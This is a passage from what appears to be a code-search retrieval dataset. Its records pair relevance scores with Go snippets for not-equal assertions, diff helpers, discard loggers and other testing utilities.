"956d0ad4ab7b9cdff76b1caae869a8cd", "score": "0.5526799", "text": "func NotEqual(a, b interface{}) (nequal bool) {\n\n\tta := reflect.ValueOf(a)\n\ttb := reflect.ValueOf(b)\n\n\tif strings.Contains(ta.Type().String(), \"*\") {\n\t\ta = reflect.Indirect(ta).Interface()\n\t}\n\n\tif strings.Contains(tb.Type().String(), \"*\") {\n\t\tb = reflect.Indirect(tb).Interface()\n\t}\n\n\tnequal = false\n\tif strings.TrimSpace(fmt.Sprintf(\"%v\", a)) != strings.TrimSpace(fmt.Sprintf(\"%v\", b)) {\n\t\tnequal = true\n\t}\n\treturn\n}", "title": "" }, { "docid": "664bd946a02f5fa71806bcdcbff2c793", "score": "0.55228484", "text": "func NotEqual(t *testing.T, expected, current interface{}) {\n\tt.Helper()\n\n\tif reflect.DeepEqual(expected, current) {\n\t\tt.Fatalf(\"assertion_type=NotEqual, expected_value=%#v, expected_type=%T, current_value=%#v, current_type=%T\", expected, expected, current, current)\n\t}\n}", "title": "" }, { "docid": "00b1df8ebc3eac0c045ad47faa458be8", "score": "0.55145746", "text": "func NotEqual(t *testing.T, expected, actual interface{}) {\n\tNotEqualSkip(t, 2, expected, actual)\n}", "title": "" }, { "docid": "6308ab8e77b95c64b4124e3ec114b971", "score": "0.5504069", "text": "func AssertNotEquals(notExpected interface{}, given interface{}, t *testing.T) {\n\tif notExpected == given {\n\t\tt.Fatalf(\"Values do NOT differ:\\n got : %#v (type %T)\\n unwanted: %#v (type %T)\\n\", given, given, notExpected, notExpected)\n\t}\n}", "title": "" }, { "docid": "03ddbef2275f5eb816988c1d818824be", "score": "0.5494411", "text": "func diff(expected interface{}, actual interface{}) string {\n\tif expected == nil || actual == nil {\n\t\treturn \"\"\n\t}\n\n\tet, ek := typeAndKind(expected)\n\tat, _ := typeAndKind(actual)\n\tif et != at {\n\t\treturn \"\"\n\t}\n\n\tif ek != reflect.Struct && ek != reflect.Map && ek != reflect.Slice && ek != reflect.Array && ek != reflect.String {\n\t\treturn \"\"\n\t}\n\n\tvar e, a string\n\tc := spew.ConfigState{\n\t\tIndent: \" \",\n\t\tDisablePointerAddresses: true,\n\t\tDisableCapacities: true,\n\t\tSortKeys: true,\n\t}\n\tif et != reflect.TypeOf(\"\") {\n\t\te = c.Sdump(expected)\n\t\ta = c.Sdump(actual)\n\t} else {\n\t\te = reflect.ValueOf(expected).String()\n\t\ta = reflect.ValueOf(actual).String()\n\t}\n\n\tdiff, _ := difflib.GetUnifiedDiffString(difflib.UnifiedDiff{\n\t\tA: difflib.SplitLines(e),\n\t\tB: difflib.SplitLines(a),\n\t\tFromFile: \"Expected\",\n\t\tFromDate: \"\",\n\t\tToFile: \"Actual\",\n\t\tToDate: \"\",\n\t\tContext: 1,\n\t})\n\treturn \"\\n\\nDiff:\\n\" + diff\n}", "title": "" }, { "docid": "c90a5848315c3c11fca30bdb668db6c9", "score": "0.5458536", "text": "func verifyEqualFloats(t *testing.T, f1 float64, f2 float64) {\n\tconst zeroThreshold = 1.0e-6\n\tif math.Abs(f1-f2) > zeroThreshold {\n\t\tt.Fatalf(\"equal assertion fail, %9.6f != %9.6f\", f1, f2)\n\t}\n}", "title": "" }, { "docid": "4a64e181e8771a6579ae87d439e959cf", "score": "0.54396415", "text": "func (t discard) Debugf(format string, v ...interface{}) {}", "title": "" }, { "docid": "cb894b76a5199ed252246efbe27b1889", "score": "0.5430229", "text": "func Assertf(condition bool, format string, args ...interface{}) {\n\tif condition {\n\t\treturn\n\t}\n\tAssert(condition, fmt.Sprintf(format, args...))\n}", "title": "" }, { "docid": "411368d2994a038d71045363da6b8f0d", "score": "0.54285485", "text": "func (a *Assert) NotEqual(message string, exp, got interface{}) {\n\ta.AssertInner(message, &NotEqual{Expect: exp, Actual: got}, 2)\n}", "title": "" }, { "docid": "738ff79d24da64b5fa77ccd28f8324b0", "score": "0.5402849", "text": "func (as *Assertions) NotEqual(want, give any, fmtAndArgs ...any) *Assertions {\n\tas.t.Helper()\n\tas.ok = NotEq(as.t, want, give, fmtAndArgs...)\n\treturn as\n}", "title": "" }, { "docid": "e732605be4131070506c91afe0fb147b", "score": "0.539349", "text": "func reportFloatDiff[T constraints.Float](t *testing.T, name string,\n\tact, exp T,\n) {\n\tt.Helper()\n\n\tt.Logf(\"\\t: expected %s: %5g\\n\", name, exp)\n\tt.Logf(\"\\t: actual %s: %5g\\n\", name, act)\n\tcharCnt := len(name) + len(\"expected\") + 1\n\tt.Logf(\"\\t: %*s: %5g\\n\", charCnt, \"diff\", math.Abs(float64(act-exp)))\n\tt.Errorf(\"\\t: %s is incorrect\\n\", name)\n}", "title": "" }, { "docid": "b2ced00fd2bb577296715deda65258bd", "score": "0.5381127", "text": "func (d *DiscardLogger) Failf(format string, args ...interface{}) {}", "title": "" }, { "docid": "256ccde826f065d4dbd5c56ef7db7722", "score": "0.5350671", "text": "func NotAcceptablef(format string, args ...interface{}) NotAcceptable {\n\treturn NotAcceptable(fmt.Sprintf(format, args...))\n}", "title": "" }, { "docid": "e9af58d645e3de54c30ae5ec0f890cf3", "score": "0.5319036", "text": "func FnNE(a1 U, a2 V, b1 U, b2 V) bool {\n\tswitch a1 & 7 {\n\tcase Py:\n\t\ta := /*noinline:*/TakePJ(a1, a2)\n\t\tswitch b1 & 7 {\n\t\tcase Py:\n\t\t\tb := /*noinline:*/TakePJ(b1, b2)\n\t\t\treturn /*noinline:*/Compares_NE(a.Compare_Py(b))\n\t\tcase Int:\n\t\t\tb := /*noinline:*/TakeIntJ(b1, b2)\n\t\t\treturn /*noinline:*/Compares_NE(a.Compare_Int(b))\n\t\tcase Str:\n\t\t\tb := /*noinline:*/TakeStrJ(b1, b2)\n\t\t\treturn /*noinline:*/Compares_NE(a.Compare_Str(b))\n\t\t}\n\tcase Int:\n\t\ta := /*noinline:*/TakeIntJ(a1, a2)\n\t\tswitch b1 & 7 {\n\t\tcase Py:\n\t\t\tb := /*noinline:*/TakePJ(b1, b2)\n\t\t\treturn /*noinline:*/Compares_NE(-b.Compare_Int(a))\n\t\tcase Int:\n\t\t\tb := /*noinline:*/TakeIntJ(a1, a2)\n /*macro:Operator_NE{*/ /*macro}*/ \t\t\treturn ((a) != ( b))\n\t\tcase Str:\n\t\t\treturn /*noinline:*/Compares_NE(-1) // Int < Str\n\t\t}\n\tcase Str:\n\t\ta := /*noinline:*/TakeStrJ(a1, a2)\n\t\tswitch b1 & 7 {\n\t\tcase Py:\n\t\t\tb := /*noinline:*/TakePJ(b1, b2)\n\t\t\treturn /*noinline:*/Compares_NE(-b.Compare_Str(a))\n\t\tcase Int:\n\t\t\treturn /*noinline:*/Compares_NE(1) // Str > Int\n\t\tcase Str:\n\t\t\tb := /*noinline:*/TakeStrJ(a1, a2)\n /*macro:Operator_NE{*/ /*macro}*/ \t\t\treturn ((a) != ( b))\n\t\t}\n\t}\n\tpanic(F(\"Bad switch FnNE: %x %x %x %x\", a1, a2, b1, b2))\n}", "title": "" }, { "docid": "ef4b6c417c0d7ea57777c7ba5b203a3a", "score": "0.53103393", "text": "func Falsef(cond bool, format string, v ...interface{}) {\n\tif !cond {\n\t\treturn\n\t}\n\tmsg := fmt.Sprintf(format, v...)\n\toutputAndDie(2, msg)\n}", "title": "" }, { "docid": "9c9407f30519c03c5982cf6062d7cb92", "score": "0.530723", "text": "func MustNotBeEqual(t testingT, expected interface{}, actual interface{}, msgf ...interface{}) {\n\tif expected == actual {\n\t\tmsg := titleOrMsgf(\"Is equal\", msgf)\n\t\tmsg += fmt.Sprintf(\"\\n%s: %#v\", msgActual, actual)\n\t\tth.Error(t, 1, msg)\n\t\tt.FailNow()\n\t}\n}", "title": "" }, { "docid": "6b399c692eca289e29d050ac65f49e55", "score": "0.5276337", "text": "func NotEqual(t *testing.T, actual, expected interface{}) {\n\tif isEqual(actual, expected) {\n\t\tfail(t, \"Expected: NOT equal %#v\\nActual : %#v\", expected, actual)\n\t}\n}", "title": "" }, { "docid": "8c79668921e1dd75ed2dd6064bb76b65", "score": "0.5275556", "text": "func NotNilf(o interface{}, format string, v ...interface{}) {\n\tif !enabled {\n\t\t// NOP\n\t\treturn\n\t}\n\n\tif o == nil {\n\t\tError(format, v...)\n\t}\n}", "title": "" }, { "docid": "00e690a94c0c1e04cee0bc45f9bad29a", "score": "0.5255059", "text": "func False(cond bool, format string, args ...interface{}) {}", "title": "" }, { "docid": "c8f17178cf1ffb49c7eeb67cfa9bc739", "score": "0.52282584", "text": "func BenchmarkLogNoFmtf() {\n\tt := benchmarkf(xlog.NoFmtf)\n\tprintBenchmark(xlog.NoFmtf, t)\n}", "title": "" }, { "docid": "0f9afaf331d8abed229f93858f20346f", "score": "0.52271664", "text": "func diff(aname, bname string, a, b []byte) error {\n\tvar buf bytes.Buffer // holding long error message\n\n\t// compare lengths\n\tif len(a) != len(b) {\n\t\tfmt.Fprintf(&buf, \"\\nlength changed: len(%s) = %d, len(%s) = %d\", aname, len(a), bname, len(b))\n\t}\n\n\t// compare contents\n\tline := 1\n\toffs := 1\n\tfor i := 0; i < len(a) && i < len(b); i++ {\n\t\tch := a[i]\n\t\tif ch != b[i] {\n\t\t\tfmt.Fprintf(&buf, \"\\n%s:%d:%d: %q\", aname, line, i-offs+1, lineAt(a, offs))\n\t\t\tfmt.Fprintf(&buf, \"\\n%s:%d:%d: %q\", bname, line, i-offs+1, lineAt(b, offs))\n\t\t\tfmt.Fprintf(&buf, \"\\n\\n\")\n\t\t\tbreak\n\t\t}\n\t\tif ch == '\\n' {\n\t\t\tline++\n\t\t\toffs = i + 1\n\t\t}\n\t}\n\n\tif buf.Len() > 0 {\n\t\treturn errors.New(buf.String())\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b593b8e2375a1867ced5ee86866e3e2b", "score": "0.5220014", "text": "func diff(aname, bname string, a, b []byte) error {\n\tvar buf bytes.Buffer // holding long error message\n\n\t// compare lengths\n\tif len(a) != len(b) {\n\t\tfmt.Fprintf(&buf, \"\\nlength changed: len(%s) = %d, len(%s) = %d\", aname, len(a), bname, len(b))\n\t}\n\n\t// compare contents\n\tline := 1\n\toffs := 1\n\tfor i := 0; i < len(a) && i < len(b); i++ {\n\t\tch := a[i]\n\t\tif ch != b[i] {\n\t\t\tfmt.Fprintf(&buf, \"\\n%s:%d:%d: %s\", aname, line, i-offs+1, lineAt(a, offs))\n\t\t\tfmt.Fprintf(&buf, \"\\n%s:%d:%d: %s\", bname, line, i-offs+1, lineAt(b, offs))\n\t\t\tfmt.Fprintf(&buf, \"\\n\\n\")\n\t\t\tbreak\n\t\t}\n\t\tif ch == '\\n' {\n\t\t\tline++\n\t\t\toffs = i + 1\n\t\t}\n\t}\n\n\tif buf.Len() > 0 {\n\t\treturn errors.New(buf.String())\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "a22b7696c2a0ff6ce3638ca51b901690", "score": "0.5203964", "text": "func Diff(v1, v2 interface{}) string {\n\treturn cmp.Diff(v1, v2, cmpopts.EquateErrors(), cmp.Exporter(func(r reflect.Type) bool {\n\t\treturn true\n\t}), cmp.Comparer(proto.Equal))\n}", "title": "" }, { "docid": "b81bca8a6b9c07fe7db2fe87e36fe345", "score": "0.51934415", "text": "func NotOk(tb TB, err error, a ...interface{}) {\n\ttb.Helper()\n\tif err == nil {\n\t\tif len(a) != 0 {\n\t\t\tformat := a[0].(string)\n\t\t\ttb.Fatalf(\"\\033[31m\"+format+\": expected error, got none\\033[39m\", a[1:]...)\n\t\t}\n\t\ttb.Fatalf(\"\\033[31mexpected error, got none\\033[39m\")\n\t}\n}", "title": "" }, { "docid": "c96d4b6c42a8bbe3e6a8e875a2fb6789", "score": "0.51583457", "text": "func notDebugf(format string, a ...interface{}) {\n\tif !debug {\n\t\tfmt.Printf(format, a...)\n\t}\n}", "title": "" }, { "docid": "fb681d0edfc60a9f2c9a20915c81a365", "score": "0.513666", "text": "func NoChanges(obj fmt.Stringer) {\n\tfmt.Printf(\"%s %s\\n\", obj.String(), yellow(\"no differences\"))\n}", "title": "" }, { "docid": "1ddd4f77c4598840951e6f0ef2a80232", "score": "0.5131312", "text": "func NoPrintf(format string, args ...interface{}) {\n}", "title": "" }, { "docid": "907624ee8bb63718a3a4e4bbf3bf2e5d", "score": "0.5113091", "text": "func AssertNotEquals(t *testing.T, actual interface{}, expected interface{}) {\n\tif actual == expected {\n\t\tt.Fatal(\"Unexpected equality.\")\n\t}\n}", "title": "" }, { "docid": "19c636af717fb400b68302f1b4bf194f", "score": "0.51008934", "text": "func NotMatch(t *testing.T, regex string, got string) {\n\tet.AssertInner(t, \"\", &et.NotMatch{regex, got}, 2)\n}", "title": "" }, { "docid": "28409e03e1ca9fb65ad9fd270cd6cebf", "score": "0.5086283", "text": "func NotEqual(t Ter, obj1, obj2 interface{}, msg ...string) {\n\tif reflect.DeepEqual(obj1, obj2) {\n\t\tFail(t, msg...)\n\t}\n}", "title": "" }, { "docid": "46c3f134d41c3f88b6eabe46646d327f", "score": "0.50705457", "text": "func (t *tb) NotEqual(actual, expected interface{}) Result {\n\tr := &result{tb: t.tb}\n\tif !equal(actual, expected) {\n\t\tr.success = true\n\t} else {\n\t\tr.success = false\n\t\tprintFailure(actual, \"should not be equal to\", expected)\n\t}\n\treturn r\n}", "title": "" }, { "docid": "871f6b9eb37c4e84c27af9b745fe3d25", "score": "0.506508", "text": "func AssertGoldenDiff(t TB, filename string, a, b string) {\n\tudiff, err := difflib.GetUnifiedDiffString(difflib.UnifiedDiff{\n\t\tA: difflib.SplitLines(a),\n\t\tB: difflib.SplitLines(b),\n\t\tFromFile: \"a\",\n\t\tToFile: \"b\",\n\t\tContext: 3,\n\t\tEol: \"\\n\",\n\t})\n\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\n\tassertGolden(t, filename, []byte(udiff), false)\n}", "title": "" }, { "docid": "ef8ba805dea00a26138827211b278ab0", "score": "0.50630033", "text": "func Diff(expected, actual interface{}) string {\n\tif DeepEqual(expected, actual) {\n\t\treturn \"\"\n\t}\n\n\treturn diffImpl(expected, actual, nil)\n}", "title": "" }, { "docid": "8b896662d10a937085ebc5fd39996eae", "score": "0.5049628", "text": "func (*DiscardLogger) Debugf(format string, args ...interface{}) {}", "title": "" }, { "docid": "5ea616e7db31fde8f5aa3c25225dd882", "score": "0.50416195", "text": "func StringIsNot(t *testing.T, a, b string) {\n\tt.Helper()\n\n\tif equal, _ := CompareStrings(a, b); equal {\n\t\tt.Errorf(\"no differences between a and b\")\n\t}\n}", "title": "" }, { "docid": "eb4937a805059e7bc933db781807cff3", "score": "0.5040104", "text": "func (g *Graphql) NotAssertStruct(s1, s2 interface{}) {\n\tg.compareStruct(s1, s2, true)\n}", "title": "" }, { "docid": "e3bcd7991769f2625e6fd39cd7a7fa8b", "score": "0.50144213", "text": "func timeDiffFormat(timeInput float64, singleUnitName string, multiUnitName string) (string, bool) {\n\ttime := Round(timeInput)\n\tif time < 1 {\n\t\treturn \"\", false\n\t}\n\tending := multiUnitName\n\tif time == 1 {\n\t\tending = singleUnitName\n\t}\n\tmsg := fmt.Sprintf(\"%v %v\", time, ending)\n\tok := true\n\treturn msg, ok\n}", "title": "" }, { "docid": "dede43cc21bc1dd79d31b16389a2f4fb", "score": "0.50119734", "text": "func (d *DiscardLogger) Debugf(format string, args ...interface{}) {}", "title": "" }, { "docid": "26f843af73c06aeddd58d37f2f4bf460", "score": "0.4997933", "text": "func TestConvertor_NonDefaultFloatFormatPass_Logfmt(t *testing.T) {\n\toutput := bytes.NewBufferString(\"\")\n\tlog := New()\n\toriginal := FloatFormat\n\tFloatFormat = 'f'\n\tout := SinkTo(output, AsLogfmt()).Start()\n\n\tlog.Log(\"key\", 3.14159265)\n\n\tout.Close()\n\tif strings.TrimSpace(output.String()) != `key=3.14159265` {\n\t\tprintln(output.String())\n\t\tt.Fail()\n\t}\n\tFloatFormat = original\n}", "title": "" }, { "docid": "84797b8fe514c23774c189b6a5510b5b", "score": "0.49935812", "text": "func NotEqual(k string, v float64) Exp {\n\treturn Neq(k, v)\n}", "title": "" }, { "docid": "5fc0bb26479595450fad0de90243023a", "score": "0.4967632", "text": "func (t TB) AssertNotEqual(v, expected interface{}) {\n\tt.Helper()\n\tt.Assert(v, NotEquals(expected))\n}", "title": "" }, { "docid": "7d0fdd195d1dc9308f25b0ea33f849ae", "score": "0.49675074", "text": "func NotImplementedf(format string, args ...interface{}) NotImplemented {\n\treturn NotImplemented(fmt.Sprintf(format, args...))\n}", "title": "" }, { "docid": "51bb2973a5a108da57307d9486f1712b", "score": "0.49551332", "text": "func Same(a interface{}, b interface{}) {\n\tif !enabled {\n\t\t// NOP\n\t\treturn\n\t}\n\n\tSamef(a, b, \"assertion failed: expected same values, got %v != %v\", a, b)\n}", "title": "" }, { "docid": "beed8d232df0d32bb14380d5bec8a926", "score": "0.49440566", "text": "func (as *Assertions) NotEq(want, give any, fmtAndArgs ...any) *Assertions {\n\tas.t.Helper()\n\tas.ok = NotEq(as.t, want, give, fmtAndArgs...)\n\treturn as\n}", "title": "" }, { "docid": "4ecd73d648c8045b4708a557133a0ffb", "score": "0.49415654", "text": "func NotBeEqual(t testing.TB, act interface{}, exp interface{}, m ...interface{}) {\n\tif reflect.DeepEqual(act, exp) == true {\n\t\tfail(t, msg.Default(m, \"Should not equal:\"), msg.TypeValues(act, exp))\n\t}\n}", "title": "" }, { "docid": "dfd3d167af7f5c2a7b98185435e71db2", "score": "0.49238053", "text": "func (tt *TestTester) Skipf(format string, args ...interface{}) {\n\ttt.Logf(format, args...)\n\ttt.SkipNow()\n}", "title": "" }, { "docid": "2a8edd375e7cb52682df226511ca93a7", "score": "0.49222538", "text": "func (d *InstanceDiff) Same(d2 *InstanceDiff) (bool, string) {\n\t// we can safely compare the pointers without a lock\n\tswitch {\n\tcase d == nil && d2 == nil:\n\t\treturn true, \"\"\n\tcase d == nil || d2 == nil:\n\t\treturn false, \"one nil\"\n\tcase d == d2:\n\t\treturn true, \"\"\n\t}\n\n\td.mu.Lock()\n\tdefer d.mu.Unlock()\n\n\t// If we're going from requiring new to NOT requiring new, then we have\n\t// to see if all required news were computed. If so, it is allowed since\n\t// computed may also mean \"same value and therefore not new\".\n\toldNew := d.requiresNew()\n\tnewNew := d2.RequiresNew()\n\tif oldNew && !newNew {\n\t\toldNew = false\n\n\t\t// This section builds a list of ignorable attributes for requiresNew\n\t\t// by removing off any elements of collections going to zero elements.\n\t\t// For collections going to zero, they may not exist at all in the\n\t\t// new diff (and hence RequiresNew == false).\n\t\tignoreAttrs := make(map[string]struct{})\n\t\tfor k, diffOld := range d.Attributes {\n\t\t\tif !strings.HasSuffix(k, \".%\") && !strings.HasSuffix(k, \".#\") {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// This case is in here as a protection measure. The bug that this\n\t\t\t// code originally fixed (GH-11349) didn't have to deal with computed\n\t\t\t// so I'm not 100% sure what the correct behavior is. Best to leave\n\t\t\t// the old behavior.\n\t\t\tif diffOld.NewComputed {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// We're looking for the case a map goes to exactly 0.\n\t\t\tif diffOld.New != \"0\" {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Found it! Ignore all of these. The prefix here is stripping\n\t\t\t// off the \"%\" so it is just \"k.\"\n\t\t\tprefix := k[:len(k)-1]\n\t\t\tfor k2 := range d.Attributes {\n\t\t\t\tif strings.HasPrefix(k2, prefix) {\n\t\t\t\t\tignoreAttrs[k2] = struct{}{}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tfor k, rd := range d.Attributes {\n\t\t\tif _, ok := ignoreAttrs[k]; ok {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// If the field is requires new and NOT computed, then what\n\t\t\t// we have is a diff mismatch for sure. We set that the old\n\t\t\t// diff does REQUIRE a ForceNew.\n\t\t\tif rd != nil && rd.RequiresNew && !rd.NewComputed {\n\t\t\t\toldNew = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tif oldNew != newNew {\n\t\treturn false, fmt.Sprintf(\n\t\t\t\"diff RequiresNew; old: %t, new: %t\", oldNew, newNew)\n\t}\n\n\t// Verify that destroy matches. The second boolean here allows us to\n\t// have mismatching Destroy if we're moving from RequiresNew true\n\t// to false above. Therefore, the second boolean will only pass if\n\t// we're moving from Destroy: true to false as well.\n\tif d.Destroy != d2.GetDestroy() && d.requiresNew() == oldNew {\n\t\treturn false, fmt.Sprintf(\n\t\t\t\"diff: Destroy; old: %t, new: %t\", d.Destroy, d2.GetDestroy())\n\t}\n\n\t// Go through the old diff and make sure the new diff has all the\n\t// same attributes. To start, build up the check map to be all the keys.\n\tcheckOld := make(map[string]struct{})\n\tcheckNew := make(map[string]struct{})\n\tfor k := range d.Attributes {\n\t\tcheckOld[k] = struct{}{}\n\t}\n\tfor k := range d2.CopyAttributes() {\n\t\tcheckNew[k] = struct{}{}\n\t}\n\n\t// Make an ordered list so we are sure the approximated hashes are left\n\t// to process at the end of the loop\n\tkeys := make([]string, 0, len(d.Attributes))\n\tfor k := range d.Attributes {\n\t\tkeys = append(keys, k)\n\t}\n\tsort.StringSlice(keys).Sort()\n\n\tfor _, k := range keys {\n\t\tdiffOld := d.Attributes[k]\n\n\t\tif _, ok := checkOld[k]; !ok {\n\t\t\t// We're not checking this key for whatever reason (see where\n\t\t\t// check is modified).\n\t\t\tcontinue\n\t\t}\n\n\t\t// Remove this key since we'll never hit it again\n\t\tdelete(checkOld, k)\n\t\tdelete(checkNew, k)\n\n\t\t_, ok := d2.GetAttribute(k)\n\t\tif !ok {\n\t\t\t// If there's no new attribute, and the old diff expected the attribute\n\t\t\t// to be removed, that's just fine.\n\t\t\tif diffOld.NewRemoved {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// If the last diff was a computed value then the absense of\n\t\t\t// that value is allowed since it may mean the value ended up\n\t\t\t// being the same.\n\t\t\tif diffOld.NewComputed {\n\t\t\t\tok = true\n\t\t\t}\n\n\t\t\t// No exact match, but maybe this is a set containing computed\n\t\t\t// values. So check if there is an approximate hash in the key\n\t\t\t// and if so, try to match the key.\n\t\t\tif strings.Contains(k, \"~\") {\n\t\t\t\tparts := strings.Split(k, \".\")\n\t\t\t\tparts2 := append([]string(nil), parts...)\n\n\t\t\t\tre := regexp.MustCompile(`^~\\d+$`)\n\t\t\t\tfor i, part := range parts {\n\t\t\t\t\tif re.MatchString(part) {\n\t\t\t\t\t\t// we're going to consider this the base of a\n\t\t\t\t\t\t// computed hash, and remove all longer matching fields\n\t\t\t\t\t\tok = true\n\n\t\t\t\t\t\tparts2[i] = `\\d+`\n\t\t\t\t\t\tparts2 = parts2[:i+1]\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tre, err := regexp.Compile(\"^\" + strings.Join(parts2, `\\.`))\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn false, fmt.Sprintf(\"regexp failed to compile; err: %#v\", err)\n\t\t\t\t}\n\n\t\t\t\tfor k2 := range checkNew {\n\t\t\t\t\tif re.MatchString(k2) {\n\t\t\t\t\t\tdelete(checkNew, k2)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// This is a little tricky, but when a diff contains a computed\n\t\t\t// list, set, or map that can only be interpolated after the apply\n\t\t\t// command has created the dependent resources, it could turn out\n\t\t\t// that the result is actually the same as the existing state which\n\t\t\t// would remove the key from the diff.\n\t\t\tif diffOld.NewComputed && (strings.HasSuffix(k, \".#\") || strings.HasSuffix(k, \".%\")) {\n\t\t\t\tok = true\n\t\t\t}\n\n\t\t\t// Similarly, in a RequiresNew scenario, a list that shows up in the plan\n\t\t\t// diff can disappear from the apply diff, which is calculated from an\n\t\t\t// empty state.\n\t\t\tif d.requiresNew() && (strings.HasSuffix(k, \".#\") || strings.HasSuffix(k, \".%\")) {\n\t\t\t\tok = true\n\t\t\t}\n\n\t\t\tif !ok {\n\t\t\t\treturn false, fmt.Sprintf(\"attribute mismatch: %s\", k)\n\t\t\t}\n\t\t}\n\n\t\t// search for the suffix of the base of a [computed] map, list or set.\n\t\tmatch := multiVal.FindStringSubmatch(k)\n\n\t\tif diffOld.NewComputed && len(match) == 2 {\n\t\t\tmatchLen := len(match[1])\n\n\t\t\t// This is a computed list, set, or map, so remove any keys with\n\t\t\t// this prefix from the check list.\n\t\t\tkprefix := k[:len(k)-matchLen]\n\t\t\tfor k2 := range checkOld {\n\t\t\t\tif strings.HasPrefix(k2, kprefix) {\n\t\t\t\t\tdelete(checkOld, k2)\n\t\t\t\t}\n\t\t\t}\n\t\t\tfor k2 := range checkNew {\n\t\t\t\tif strings.HasPrefix(k2, kprefix) {\n\t\t\t\t\tdelete(checkNew, k2)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// We don't compare the values because we can't currently actually\n\t\t// guarantee to generate the same value two two diffs created from\n\t\t// the same state+config: we have some pesky interpolation functions\n\t\t// that do not behave as pure functions (uuid, timestamp) and so they\n\t\t// can be different each time a diff is produced.\n\t\t// FIXME: Re-organize our config handling so that we don't re-evaluate\n\t\t// expressions when we produce a second comparison diff during\n\t\t// apply (for EvalCompareDiff).\n\t}\n\n\t// Check for leftover attributes\n\tif len(checkNew) > 0 {\n\t\textras := make([]string, 0, len(checkNew))\n\t\tfor attr := range checkNew {\n\t\t\textras = append(extras, attr)\n\t\t}\n\t\treturn false,\n\t\t\tfmt.Sprintf(\"extra attributes: %s\", strings.Join(extras, \", \"))\n\t}\n\n\treturn true, \"\"\n}", "title": "" }, { "docid": "d77d9e8ececc45d37dbf4d3f32d5b28b", "score": "0.49154347", "text": "func compareFields(s1, s2 reflect.StructField) error {\n\tif s1.Name != s2.Name {\n\t\treturn fmt.Errorf(\"field %s name = %q, want %q\", s1.Name, s1.Name, s2.Name)\n\t}\n\tif s1.Tag != s2.Tag {\n\t\treturn fmt.Errorf(\"field %s tag = %q, want %q\", s1.Name, s1.Tag, s2.Tag)\n\t}\n\tif s1.Type.Name() != s2.Type.Name() {\n\t\treturn fmt.Errorf(\"field %s type = %q, want %q\", s1.Name, s1.Type.Name(), s2.Type.Name())\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "ccb230d6e8f24ec867f57b82a66cd291", "score": "0.4909242", "text": "func NotEqualVal(t *testing.T, actual, expected interface{}) {\n\tif isEqualVal(actual, expected) {\n\t\tfail(t, \"Expected: NOT equal %#v\\nActual : %#v\", expected, actual)\n\t}\n}", "title": "" }, { "docid": "44187c7ceb60265047d4ed8f6a92102e", "score": "0.489633", "text": "func NotNili(t *testing.T, msg string, got interface{}) {\n\tet.AssertInner(t, msg, &et.NotNil{got}, 2)\n}", "title": "" }, { "docid": "fd71e8deefcc3d8bd15bdec6454ce046", "score": "0.48886815", "text": "func (m matchConditions) NegatedFailureMessage(actual interface{}) (message string) {\n\treturn fmt.Sprintf(\"expected\\n\\t%#v\\nto not match\\n\\t%#v\\n\", actual, m.expected)\n}", "title": "" }, { "docid": "7d613cccc870eb12a11d9ec207a854d1", "score": "0.48879296", "text": "func TestAssertDifferent(t *testing.T) {\n\tassert := createValueAssertion(t)\n\tm := map[string]int{\"one\": 1, \"two\": 2, \"three\": 3}\n\n\tassert.Different(nil, \"nil\", \"should not fail\")\n\tassert.Different(\"true\", true, \"should not fail\")\n\tassert.Different(1, 2, \"should not fail\")\n\tassert.Different(\"foo\", \"bar\", \"should not fail\")\n\tassert.Different(map[string]int{\"three\": 3, \"two\": 2}, m, \"should not fail\")\n\tif assert.Different(\"one\", \"one\", \"should fail and be logged\") {\n\t\tt.Errorf(\"Different() returned true\")\n\t}\n\tif assert.Different(2, 2, \"should fail and be logged\") {\n\t\tt.Errorf(\"Different() returned true\")\n\t}\n}", "title": "" }, { "docid": "7f7a56337a98cccd199cb1ac1f230bd5", "score": "0.48858798", "text": "func NotMatchi(t *testing.T, msg string, regex string, got string) {\n\tet.AssertInner(t, msg, &et.NotMatch{regex, got}, 2)\n}", "title": "" }, { "docid": "0cfe95278ffa3b33fbc7b96f929b4459", "score": "0.48773882", "text": "func (cm *DeprecatedConditionMatcher) NegatedFailureMessage(actual interface{}) (message string) {\n\treturn fmt.Sprintf(\"Expected\\n\\t%#v\\nnot to match, actual\\n\\t%#v\", cm.expected, actual)\n}", "title": "" }, { "docid": "9ddf8c194c5a5ecc3990a32fe3138e3c", "score": "0.48669997", "text": "func TstDiff(tst *testing.T, msg string, tol, a, b float64, showOK bool) (failed bool) {\n\tdiff := math.Abs(a - b)\n\tif math.IsNaN(diff) || math.IsInf(diff, 0) {\n\t\tTstFail(tst, \"%s NaN or Inf in a=%v b=%v\", msg, a, b)\n\t\treturn true\n\t}\n\tif diff > tol {\n\t\tTstFail(tst, \"%s %v != %v |diff| = %g\", msg, a, b, diff)\n\t\treturn true\n\t}\n\tif showOK {\n\t\tPrintOk(msg)\n\t}\n\treturn\n}", "title": "" }, { "docid": "7876e9f275a7fe43ee350934d94ddce8", "score": "0.4862757", "text": "func Falsef(b bool, format string, v ...interface{}) {\n\tif !enabled {\n\t\t// NOP\n\t\treturn\n\t}\n\n\tif b {\n\t\tError(format, v...)\n\t}\n}", "title": "" }, { "docid": "70121c2530e86bca41850982a6135e59", "score": "0.48601067", "text": "func (testApp *TestApp) AssertEqualWithFieldsToIgnore(t *testing.T, expected interface{}, actual interface{}, fieldsToIgnore []string, mapOfExpectedToActualField map[string]string) {\n\texpectedElems := reflect.ValueOf(expected).Elem()\n\tactualElem := reflect.ValueOf(actual).Elem()\n\ttypeOfExpectedElems := reflect.ValueOf(expected).Elem().Type()\n\n\tmapOfIgnoreFields := 